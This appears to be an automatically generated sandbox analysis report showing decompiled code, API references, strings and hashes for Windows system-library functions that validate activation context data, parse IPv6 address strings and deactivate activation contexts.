String ID: RtlpCrackActivationContextStringSectionHeader$SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu$SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu$SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu$SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu$SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu$SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu$SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!$SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!$SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu$SsHd
API String ID: 0-1525761513
Opcode ID: 3dd4eb041f1581d19f5658346d96c0461bdf61211fb0c80024c1f21a8d54318c
Instruction ID: 7709155c9e372e898e0c9d8275dfe3b4047e015a559df9445e6f8099d6e7ce8b
Opcode Fuzzy Hash: 3dd4eb041f1581d19f5658346d96c0461bdf61211fb0c80024c1f21a8d54318c
Instruction Fuzzy Hash: 7441A3B5304215BFA7248E18CC84E37B7BEDBD5B88731815DF518AA201EE31ED4287B1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9331F0, Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 248
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6A9331F0(void* __ecx, void __edx, void* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v12;
				void _v28;
				signed int _v32;
				void _v36;
				int _v40;
				void _v44;
				intOrPtr _v48;
				void _v52;
				intOrPtr* _v56;
				intOrPtr* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t80;
				void* _t85;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t95;
				signed int _t96;
				int _t97;
				void* _t99;
				intOrPtr _t100;
				signed int _t106;
				int _t110;
				void _t120;
				void* _t125;
				signed char _t126;
				void* _t127;
				intOrPtr _t128;
				void* _t135;
				void* _t136;
				intOrPtr _t137;
				signed int _t139;
				void* _t140;
				signed int _t152;

				_t132 = __edx;
				_v12 =  *0x6aa0d360 ^ _t139;
				_t135 = __ecx;
				_t136 = 0;
				_v56 = _a8;
				_t110 =  *(__ecx + 0xc);
				_v52 = __edx;
				_v60 = _a12;
				_v40 = _t110;
				if(_t110 < 0x20 ||  *((intOrPtr*)(__ecx + 4)) < 0x20) {
					_push( *((intOrPtr*)(_t135 + 4)));
					_push(_t110);
					_push(_t135);
					_push("SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu\n");
					goto L50;
				} else {
					if(__edx != 0) {
						_t82 =  *((intOrPtr*)(__ecx + 0x14));
						if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
							goto L25;
						} else {
							_t132 = 1;
							_t85 = E6A9A444F(_t82, 1, 0x10, _t110);
							_t86 =  *((intOrPtr*)(_t135 + 0x14));
							_push(_t110);
							if(_t85 != 0) {
								_t120 =  *(_t86 + _t135 + 4);
								_t132 = _t120;
								_v44 = _t120;
								_push(0x18);
								_v32 =  *((intOrPtr*)(_t86 + _t135 + 8));
								if(E6A9A444F( *((intOrPtr*)(_t86 + _t135 + 8)), _t120) != 0) {
									_t123 = _v32 + _t135;
									_v32 = 0;
									_v48 = _t123;
									if(_v44 <= 0) {
										goto L25;
									} else {
										_t110 = _v52;
										_v36 = _t123;
										while(1) {
											_t90 = E6A95F380(_t110, _t123, 0x10);
											_t140 = _t140 + 0xc;
											_t91 = _v32;
											if(_t90 == 0) {
												break;
											}
											_t106 = _t91 + 1;
											_t123 = _v36 + 0x18;
											_v32 = _t106;
											_v36 = _v36 + 0x18;
											if(_t106 < _v44) {
												continue;
											} else {
												goto L25;
											}
											goto L52;
										}
										_t132 = 1;
										_t110 =  *(_v48 + 0x10 + (_t91 + _t91 * 2) * 8);
										if(E6A9A444F(_t110, 1, 0x10,  *(_t135 + 0xc)) != 0) {
											goto L4;
										} else {
											_push(_v40);
											_push(0x10);
											_push(_t110);
											E6A9A5720(0x33, 0, "SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)\n", _v32);
											goto L51;
										}
									}
								} else {
									_push(_t110);
									_push(0x18);
									_push(_v44);
									E6A9A5720(0x33, 0, "SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _v32);
									goto L51;
								}
							} else {
								E6A9A5720(0x33, 0, "SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)\n", _t86);
								goto L51;
							}
						}
					} else {
						_t110 =  *(__ecx + 0x10);
						if(_t110 == 0) {
							L25:
							return E6A95B640(0xc0150001, _t110, _v12 ^ _t139, _t132, _t135, _t136);
						} else {
							L4:
							_t125 = _t135 + _t110;
							if(_t125 == 0) {
								goto L25;
							} else {
								_t110 =  *(_t125 + 4);
								if(_t110 == 0) {
									goto L25;
								} else {
									_v36 =  *(_t125 + 8);
									_t95 = _t110;
									_t96 = _t95 * 0x10;
									_t152 = _t95 * 0x10 >> 0x20;
									if(_t152 < 0 || _t152 <= 0 && _t96 <= 0xffffffff) {
										_t132 =  *(_t125 + 8);
										_t137 = _t96 + _t132;
										_v48 = _t137;
										_t136 = 0;
										if(_t137 < _t96) {
											goto L47;
										} else {
											_t97 =  *(_t135 + 0xc);
											if(_t132 >= _t97 || _v48 > _t97) {
												goto L48;
											} else {
												_t126 =  *(_t125 + 0xc);
												_t99 = _t132 + _t135;
												if((_t126 & 0x00000002) == 0) {
													_t127 = 0;
													if(_t110 != 0) {
														_t132 = _a4;
														while( *_t99 != _t132) {
															_t127 = _t127 + 1;
															_t99 = _t99 + 0x10;
															if(_t127 < _t110) {
																continue;
															} else {
															}
															goto L17;
														}
														goto L16;
													}
													goto L17;
												} else {
													_t132 =  *_t99;
													_t136 = _a4;
													if(_t136 < _t132) {
														goto L25;
													} else {
														if((_t126 & 0x00000001) != 0) {
															_t136 = _t136 - _t132;
															if(_t136 >= _t110) {
																goto L25;
															} else {
																_t136 = _t99 + (_t136 << 4);
																goto L17;
															}
														} else {
															_v28 = _t136;
															_t99 = bsearch( &_v28, _t99, _t110, 0x10, 0x6a948c30);
															_t140 = _t140 + 0x14;
															L16:
															_t136 = _t99;
															L17:
															if(_t136 == 0) {
																goto L25;
															} else {
																_t100 =  *((intOrPtr*)(_t136 + 4));
																if(_t100 == 0) {
																	goto L25;
																} else {
																	_t128 =  *((intOrPtr*)(_t136 + 8));
																	_t110 =  *(_t135 + 0xc);
																	if(_t128 > 0xffffffff) {
																		L26:
																		_push(_t110);
																		_push(_t128);
																		_push(_t100);
																		_push("SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)\n");
																		L50:
																		_push(0);
																		_push(0x33);
																		E6A9A5720();
																		goto L51;
																	} else {
																		_t132 = _t128 + _t100;
																		if(_t132 < _t128 || _t100 >= _t110 || _t132 > _t110) {
																			goto L26;
																		} else {
																			 *_v56 = _t100 + _t135;
																			 *_v60 =  *((intOrPtr*)(_t136 + 8));
																			_t80 = 0;
																		}
																	}
																	goto L24;
																}
															}
														}
													}
												}
											}
										}
									} else {
										_t132 = _v36;
										L47:
										_t97 = _v40;
										L48:
										_push(_t97);
										_push(0x10);
										_push(_t110);
										E6A9A5720(0x33, 0, "SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _t132);
										L51:
										_t80 = 0xc0150003;
										L24:
										return E6A95B640(_t80, _t110, _v12 ^ _t139, _t132, _t135, _t136);
									}
								}
							}
						}
					}
				}
				L52:
			}

0x6a9331f0
0x6a9331ff
0x6a933205
0x6a93320c
0x6a93320e
0x6a933214
0x6a933217
0x6a93321a
0x6a93321d
0x6a933223
0x6a97d974
0x6a97d977
0x6a97d978
0x6a97d979
0x00000000
0x6a933233
0x6a933235
0x6a97d824
0x6a97d829
0x00000000
0x6a97d82f
0x6a97d832
0x6a97d839
0x6a97d840
0x6a97d843
0x6a97d844
0x6a97d85d
0x6a97d861
0x6a97d867
0x6a97d86c
0x6a97d86e
0x6a97d878
0x6a97d89f
0x6a97d8a1
0x6a97d8a4
0x6a97d8aa
0x00000000
0x6a97d8b0
0x6a97d8b0
0x6a97d8b3
0x6a97d8b6
0x6a97d8ba
0x6a97d8bf
0x6a97d8c4
0x6a97d8c7
0x00000000
0x00000000
0x6a97d8cc
0x6a97d8cd
0x6a97d8d0
0x6a97d8d3
0x6a97d8d9
0x00000000
0x6a97d8db
0x00000000
0x6a97d8db
0x00000000
0x6a97d8d9
0x6a97d8e9
0x6a97d8f0
0x6a97d8fd
0x00000000
0x6a97d903
0x6a97d903
0x6a97d909
0x6a97d90b
0x6a97d916
0x00000000
0x6a97d91b
0x6a97d8fd
0x6a97d87a
0x6a97d87d
0x6a97d87e
0x6a97d880
0x6a97d88d
0x00000000
0x6a97d892
0x6a97d846
0x6a97d850
0x00000000
0x6a97d855
0x6a97d844
0x6a93323b
0x6a93323b
0x6a933240
0x6a93332c
0x6a933341
0x6a933246
0x6a933246
0x6a933246
0x6a93324b
0x00000000
0x6a933251
0x6a933251
0x6a933256
0x00000000
0x6a93325c
0x6a933264
0x6a933267
0x6a933269
0x6a93326b
0x6a93326d
0x6a93327e
0x6a933281
0x6a933284
0x6a933289
0x6a93328e
0x00000000
0x6a933294
0x6a933294
0x6a933299
0x00000000
0x6a9332a8
0x6a9332a8
0x6a9332ab
0x6a9332b1
0x6a97d934
0x6a97d938
0x6a97d93e
0x6a97d941
0x6a97d949
0x6a97d94a
0x6a97d94f
0x00000000
0x00000000
0x6a97d951
0x00000000
0x6a97d94f
0x00000000
0x6a97d941
0x00000000
0x6a9332b7
0x6a9332b7
0x6a9332b9
0x6a9332be
0x00000000
0x6a9332c0
0x6a9332c3
0x6a97d920
0x6a97d924
0x00000000
0x6a97d92a
0x6a97d92d
0x00000000
0x6a97d92d
0x6a9332c9
0x6a9332d5
0x6a9332d9
0x6a9332de
0x6a9332e1
0x6a9332e1
0x6a9332e3
0x6a9332e5
0x00000000
0x6a9332e7
0x6a9332e7
0x6a9332ec
0x00000000
0x6a9332ee
0x6a9332ee
0x6a9332f1
0x6a9332f7
0x6a933344
0x6a933344
0x6a933345
0x6a933346
0x6a933347
0x6a97d97e
0x6a97d97e
0x6a97d980
0x6a97d982
0x00000000
0x6a9332f9
0x6a9332f9
0x6a9332fe
0x00000000
0x6a933308
0x6a93330d
0x6a933315
0x6a933317
0x6a933317
0x6a9332fe
0x00000000
0x6a9332f7
0x6a9332ec
0x6a9332e5
0x6a9332c3
0x6a9332be
0x6a9332b1
0x6a933299
0x6a97d956
0x6a97d956
0x6a97d959
0x6a97d959
0x6a97d95c
0x6a97d95c
0x6a97d95d
0x6a97d95f
0x6a97d96a
0x6a97d98a
0x6a97d98a
0x6a93331c
0x6a933329
0x6a933329
0x6a93326d
0x6a933256
0x6a93324b
0x6a933240
0x6a933235
0x00000000

APIs

bsearch.1105(00000001,?,00000020,00000010,6A948C30,00000010,?,C00000E5,00000000,00000030,?,6A918D70,00000000,?,?,00000030), ref: 6A9332D9
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes),?,?,00000010,?,C00000E5,00000000,00000030,?,6A918D70,00000000,?,?,00000030), ref: 6A97D850
DbgPrintEx.1105(00000033,00000000,SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes),?,00000020,00000010,00000030,00000010,?,C00000E5,00000000,00000030,?,6A918D70,00000000,?), ref: 6A97D96A
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu,00000001,?,?,C00000E5,00000000,00000030,?,6A918D70,00000000,?,?,00000030,?), ref: 6A97D982

Strings

SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes), xrefs: 6A933347
SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes), xrefs: 6A97D90D
SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6A97D961
SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes), xrefs: 6A97D847
SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu, xrefs: 6A97D979
SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6A97D884

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$bsearch
String ID: SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu$SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)$SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)$SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)
API String ID: 3813682011-732641482
Opcode ID: 19321c8bc2280d0cfd50e1b0f06aed53312c602f2ffec6bbb3debb243023e148
Instruction ID: e84758da3b3e3ad5180518fd55031c117298635762ca46f5c08b9d1e1678db12
Opcode Fuzzy Hash: 19321c8bc2280d0cfd50e1b0f06aed53312c602f2ffec6bbb3debb243023e148
Instruction Fuzzy Hash: 5B81DB71B40219AFEB24CE68C881BAEF3B9EB54354F618169E915AB341EF71D841CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A916D10, Relevance: 21.3, APIs: 14, Instructions: 316
stringCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6A916D10(char* _a4, intOrPtr* _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int _v16;
				char** _v20;
				signed int _v24;
				signed int _v28;
				char* _v32;
				signed int _t97;
				char** _t99;
				void* _t108;
				long _t115;
				void* _t118;
				char* _t120;
				char** _t121;
				long _t122;
				long _t123;
				signed int _t124;
				void* _t127;
				void* _t132;
				char* _t134;
				char** _t137;
				intOrPtr _t141;
				intOrPtr _t142;
				signed int _t143;
				char _t146;
				signed int _t151;
				char* _t153;
				intOrPtr* _t155;
				void* _t156;
				void* _t157;
				void* _t161;
				void* _t162;
				char** _t170;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t175;
				intOrPtr _t177;
				signed int _t179;
				signed int _t180;
				void* _t182;
				void* _t189;

				_t97 = 0;
				_v32 = 0;
				_t170 = 0;
				_v5 = 0;
				_t180 = 0;
				_v28 = 0;
				_t143 = 0;
				_v24 = 0;
				_t179 = 0;
				_v20 = 0;
				_v12 = 0;
				_v16 = 0;
				_t141 =  *_a4;
				while(_t141 != 0) {
					_t117 = _t97;
					if(_t117 != 0) {
						_t118 = _t117 - 1;
						if(_t118 != 0) {
							_t117 = _t118 == 1;
							if(_t118 == 1) {
								goto L3;
							}
							_t121 = _v20;
							_t177 = _v24;
							L27:
							if(_t177 != 1) {
								L32:
								_t142 = _a12;
								L52:
								_t153 = _v32;
								_t180 = _v12;
								if(_t153 == 0) {
									goto L28;
								}
								if(_t121 != 0) {
									if(_t180 > 3) {
										L14:
										return 0xc000000d;
									}
									_t122 = strtol(_t153, 0, 0xa);
									_t189 = _t189 + 0xc;
									if(_t122 > 0xff) {
										goto L14;
									}
									_t170 = _v20;
									 *(_t170 + _v28 * 2 + _t142 - 1) = _t122;
									L29:
									_t97 = _v24;
									L30:
									_t155 = _a4 + 1;
									_a4 = _t155;
									_t141 =  *_t155;
									_t143 = _v16;
									continue;
								}
								if(_t180 > 4) {
									goto L14;
								}
								_t123 = strtol(_t153, _t121, 0x10);
								_t189 = _t189 + 0xc;
								_t124 = _v28;
								 *((short*)(_t142 + _t124 * 2)) = _t123;
								_v28 = _t124 + 1;
							}
							L28:
							_t170 = _v20;
							goto L29;
						}
						_t185 = _t141;
						_t131 = E6A95CB30(_t118, _t141);
						_pop(_t161);
						if(_t131 == 0 || E6A95CC80(_t161, _t185) == 0) {
							_t132 = E6A95CB30(_t131, _t185);
							_pop(_t162);
							if(_t132 == 0 || E6A95CDD0(_t162, _t185) == 0) {
								if(_t141 == 0x3a) {
									if(_v20 != 0 || _t179 > 6) {
										L9:
										_t143 = _v16;
										goto L10;
									} else {
										_t134 = _a4 + 1;
										if( *_t134 != 0x3a) {
											_t177 = 0;
											L43:
											_t180 = _v12;
											_t179 = _t179 + 1;
											_t121 = _v20;
											L26:
											_v24 = _t177;
											goto L27;
										}
										_t143 = _v16;
										if(_t143 != 0) {
											L10:
											_t180 = _v12;
											break;
										}
										_t177 = 2;
										_t37 = _t179 + 1; // 0x1
										_a4 = _t134;
										_push(_t177);
										_v16 = _t37;
										_pop(1);
										goto L43;
									}
								}
								if(_t141 != 0x2e) {
									goto L9;
								}
								if(_v5 != 0) {
									goto L9;
								}
								_t137 = _v20;
								if(_t137 > 2 || _t179 > 6) {
									goto L9;
								} else {
									_t121 = _t137 + 1;
									_v20 = _t121;
									_v24 = 0;
									goto L32;
								}
							} else {
								_t170 = _v20;
								_t180 = _v12 + 1;
								_v12 = _t180;
								if(_t170 != 0) {
									_t143 = _v16;
									break;
								}
								_v5 = 1;
								goto L29;
							}
						} else {
							_t180 = _v12 + 1;
							_v12 = _t180;
							goto L28;
						}
					}
					L3:
					if(_t141 == 0x3a) {
						if(_t170 != 0 || _t179 != 0) {
							break;
						} else {
							_t120 = _a4 + 1;
							if( *_t120 != 0x3a) {
								break;
							}
							_t142 = _a12;
							_a4 = _t120;
							_t121 = _v20;
							_v16 = 1;
							_t151 = _v28;
							_t179 = 2;
							 *((short*)(_t142 + _t151 * 2)) = _t170;
							_t175 = _t179;
							_v28 = _t151 + 1;
							_v24 = _t175;
							goto L52;
						}
					}
					if(_t179 > 7) {
						break;
					}
					_t183 = _t141;
					_t126 = E6A95CB30(_t117, _t141);
					_pop(_t156);
					if(_t126 == 0 || E6A95CC80(_t156, _t183) == 0) {
						_t127 = E6A95CB30(_t126, _t183);
						_pop(_t157);
						if(_t127 == 0 || E6A95CDD0(_t157, _t183) == 0) {
							goto L9;
						} else {
							_t121 = _v20;
							if(_t121 != 0) {
								goto L9;
							}
							_v5 = 1;
							_t177 = 1;
							_v32 = _a4;
							_t180 = 1;
							_v12 = 1;
							goto L26;
						}
					} else {
						_t170 = _v20;
						_v32 = _a4;
						_t97 = 1;
						_v5 = 0;
						_t180 = 1;
						_v24 = 1;
						_v12 = 1;
						goto L30;
					}
				}
				 *_a8 = _a4;
				_t99 = _v20;
				if(_t99 != 0) {
					if(_t99 != 3) {
						goto L14;
					}
					_t179 = _t179 + 1;
				}
				if(_t143 != 0 || _t179 == 7) {
					_t172 = _v24;
					if(_t172 != 1) {
						if(_t172 != 2) {
							goto L14;
						}
						_t173 = _a12;
						 *((short*)(_t173 + _v28 * 2)) = 0;
						L73:
						if(_t143 != 0) {
							_t182 = _t173 + _t143 * 2;
							memmove(_t173 + (_t143 - _t179 + 8) * 2, _t182, _t179 - _t143 + _t179 - _t143);
							_t108 = 8;
							memset(_t182, 0, _t108 - _t179 + _t108 - _t179);
						}
						return 0;
					}
					if(_t99 != 0) {
						if(_t180 > 3) {
							goto L14;
						}
						_t146 = strtol(_v32, 0, 0xa);
						_t189 = _t189 + 0xc;
						if(_t146 > 0xff) {
							goto L14;
						}
						_t173 = _a12;
						 *((char*)(_v20 + _v28 * 2 + _t173)) = _t146;
						L70:
						_t143 = _v16;
						goto L73;
					}
					if(_t180 > 4) {
						goto L14;
					}
					_t115 = strtol(_v32, _t99, 0x10);
					_t173 = _a12;
					_t189 = _t189 + 0xc;
					 *((short*)(_t173 + _v28 * 2)) = _t115;
					goto L70;
				} else {
					goto L14;
				}
			}

0x6a916d1c
0x6a916d1e
0x6a916d21
0x6a916d23
0x6a916d26
0x6a916d28
0x6a916d2b
0x6a916d2d
0x6a916d31
0x6a916d33
0x6a916d39
0x6a916d3c
0x6a916d3f
0x6a916d41
0x6a916d45
0x6a916d48
0x6a916dc7
0x6a916dca
0x6a971e50
0x6a971e53
0x00000000
0x00000000
0x6a971e59
0x6a971e5c
0x6a916e3b
0x6a916e3e
0x6a916e60
0x6a916e60
0x6a971f34
0x6a971f34
0x6a971f37
0x6a971f3c
0x00000000
0x00000000
0x6a971f44
0x6a971f90
0x6a916db9
0x00000000
0x6a916db9
0x6a971f9b
0x6a971fa0
0x6a971fa8
0x00000000
0x00000000
0x6a971fae
0x6a971fb7
0x6a916e43
0x6a916e43
0x6a916e46
0x6a916e49
0x6a916e4a
0x6a916e4d
0x6a916e4f
0x00000000
0x6a916e4f
0x6a971f49
0x00000000
0x00000000
0x6a971f53
0x6a971f5a
0x6a971f5f
0x6a971f62
0x6a971f67
0x6a971f67
0x6a916e40
0x6a916e40
0x00000000
0x6a916e40
0x6a916dd0
0x6a916dd4
0x6a916dd9
0x6a916ddc
0x6a916dea
0x6a916def
0x6a916df2
0x6a916e06
0x6a971e83
0x6a916d8f
0x6a916d8f
0x00000000
0x6a971e92
0x6a971e95
0x6a971e99
0x6a971eb8
0x6a971ebb
0x6a971ebb
0x6a971ebe
0x6a971ec0
0x6a916e38
0x6a916e38
0x00000000
0x6a916e38
0x6a971e9b
0x6a971ea0
0x6a916d92
0x6a916d92
0x00000000
0x6a916d92
0x6a971ea8
0x6a971ea9
0x6a971eac
0x6a971eaf
0x6a971eb0
0x6a971eb3
0x00000000
0x6a971eb3
0x6a971e83
0x6a916e0f
0x00000000
0x00000000
0x6a971ecc
0x00000000
0x00000000
0x6a971ed2
0x6a971ed8
0x00000000
0x6a971ee7
0x6a971ee7
0x6a971eea
0x6a971eed
0x00000000
0x6a971eed
0x6a971e64
0x6a971e67
0x6a971e6a
0x6a971e6b
0x6a971e70
0x6a971fc0
0x00000000
0x6a971fc0
0x6a971e76
0x00000000
0x6a971e76
0x6a916e57
0x6a916e5a
0x6a916e5b
0x00000000
0x6a916e5b
0x6a916ddc
0x6a916d4a
0x6a916d4d
0x6a971ef7
0x00000000
0x6a971f05
0x6a971f08
0x6a971f0c
0x00000000
0x00000000
0x6a971f12
0x6a971f18
0x6a971f1b
0x6a971f1e
0x6a971f21
0x6a971f26
0x6a971f28
0x6a971f2d
0x6a971f2e
0x6a971f31
0x00000000
0x6a971f31
0x6a971ef7
0x6a916d56
0x00000000
0x00000000
0x6a916d58
0x6a916d5c
0x6a916d61
0x6a916d64
0x6a916d76
0x6a916d7b
0x6a916d7e
0x00000000
0x6a916e1a
0x6a916e1a
0x6a916e1f
0x00000000
0x00000000
0x6a916e2c
0x6a916e30
0x6a916e31
0x6a916e34
0x6a916e35
0x00000000
0x6a916e35
0x6a971f6f
0x6a971f74
0x6a971f77
0x6a971f7c
0x6a971f7d
0x6a971f81
0x6a971f82
0x6a971f85
0x00000000
0x6a971f85
0x6a916d64
0x6a916d9b
0x6a916d9d
0x6a916da2
0x6a971fcb
0x00000000
0x00000000
0x6a971fd1
0x6a971fd1
0x6a916daa
0x6a971fd7
0x6a971fdd
0x6a972047
0x00000000
0x00000000
0x6a97204d
0x6a972055
0x6a972059
0x6a97205b
0x6a97205d
0x6a972071
0x6a972078
0x6a972081
0x6a972086
0x00000000
0x6a972089
0x6a971fe1
0x6a97200d
0x00000000
0x00000000
0x6a97201f
0x6a972021
0x6a97202a
0x00000000
0x00000000
0x6a972039
0x6a97203c
0x6a97203f
0x6a97203f
0x00000000
0x6a97203f
0x6a971fe6
0x00000000
0x00000000
0x6a971ff2
0x6a971ff7
0x6a971ffe
0x6a972004
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6A916D5C
isdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6A916D67
__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6A916D76
isxdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6A916D81
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6A916DD4
isdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6A916DDF
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6A916DEA
isxdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6A916DF5
strtol.1105(?,00000000,00000010,?,?,00000000,?,00000000,?,00000000), ref: 6A971F53

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isascii$isdigitisxdigit$strtol
String ID:
API String ID: 2731936382-0
Opcode ID: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction ID: a15a313072ec557a93c4b50c8efb8d62c8c30131d7a7775c11b71c35f43e3bb5
Opcode Fuzzy Hash: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction Fuzzy Hash: 8EB1C575E0821EABDB14CF68C890BAEB7F9AF46304F314469D954EB241DF30D951C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6A914360, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6A914360(signed int _a4, unsigned int _a8) {
				void* _v4;
				signed int _v8;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				intOrPtr _v76;
				signed int _v84;
				signed int _v88;
				char _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t43;
				signed char _t46;
				signed int _t67;
				signed int _t69;
				void* _t70;
				signed int _t79;
				signed int _t82;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t86;
				signed int _t87;
				signed int _t89;

				_t89 = (_t87 & 0xfffffff8) - 0x5c;
				_t40 =  *0x6aa0d360 ^ _t89;
				_v8 =  *0x6aa0d360 ^ _t89;
				_push(_t85);
				if((_a4 & 0xfffffffe) != 0) {
					_push(_a4);
					_push("RtlDeactivateActivationContext");
					_push("SXS: %s() called with invalid flags 0x%08lx\n");
					L17:
					_push(0);
					_push(0x33);
					E6A9A5720();
					_t89 = _t89 + 0x14;
					L19:
					_push(0xc000000d);
					L21:
					L6A96DF30(_t71, _t80);
					L22:
					_t82 =  *_t85;
					_t71 = 0;
					if(_t82 == 0) {
						_t43 = 0;
					} else {
						asm("sbb eax, eax");
						_t43 =  ~( *(_t82 + 8) & 8) & _t82;
					}
					if(_t82 == 0) {
						L20:
						_push(0xc0150010);
						goto L21;
					} else {
						while(_t43 == 0 ||  *((intOrPtr*)(_t43 + 0xc)) != _t80) {
							_t82 =  *_t82;
							_t71 = _t71 + 1;
							if(_t82 == 0) {
								_t43 = 0;
							} else {
								asm("sbb eax, eax");
								_t43 =  ~( *(_t82 + 8) & 8) & _t82;
							}
							if(_t82 != 0) {
								continue;
							}
							break;
						}
						if(_t82 == 0) {
							goto L20;
						}
						_v84 = _v84 & 0x00000000;
						_v88 = _v88 & 0x00000000;
						_push( &_v92);
						_v76 = 3;
						_v72 = _t71;
						_v68 = _t82;
						_v64 = _t85;
						_v92 = 0xc015000f;
						E6A96DEF0(_t71, _t80);
						L8:
						_t83 =  *_t82;
						do {
							_t46 =  *(_t85 + 8);
							_t69 =  *_t85;
							if((_t46 & 0x00000001) != 0) {
								E6A949B10( *((intOrPtr*)(_t85 + 4)));
								_t46 =  *(_t85 + 8);
							}
							if((_t46 & 0x00000008) != 0) {
								_t80 = _t85;
								E6A914439(_v88, _t85);
							}
							_t85 = _t69;
						} while (_t69 != _t83);
						_t40 = _v88;
						 *_v88 = _t83;
						L14:
						_pop(_t84);
						_pop(_t86);
						_pop(_t70);
						return E6A95B640(_t40, _t70,  *(_t89 + 0x64) ^ _t89, _t80, _t84, _t86);
					}
				}
				_t80 = _a8;
				if(_t80 == 0) {
					goto L14;
				}
				if((_t80 & 0xf0000000) != 0x10000000) {
					_push(_t80);
					_push("RtlDeactivateActivationContext");
					_push("SXS: %s() called with invalid cookie type 0x%08Ix\n");
					goto L17;
				}
				_t85 = 0xfff;
				_t71 = _t80 >> 0x00000010 ^  *( *( *[fs:0x18] + 0x1a8) + 0x14);
				_t40 =  *( *[fs:0x18] + 0x1a8);
				if((0x00000fff & (_t80 >> 0x00000010 ^  *( *( *[fs:0x18] + 0x1a8) + 0x14))) != 0) {
					_push( *(_t40 + 0x14) & 0x00000fff);
					_push(_t80);
					E6A9A5720(0x33, 0, "SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix\n", "RtlDeactivateActivationContext");
					_t89 = _t89 + 0x18;
					goto L19;
				}
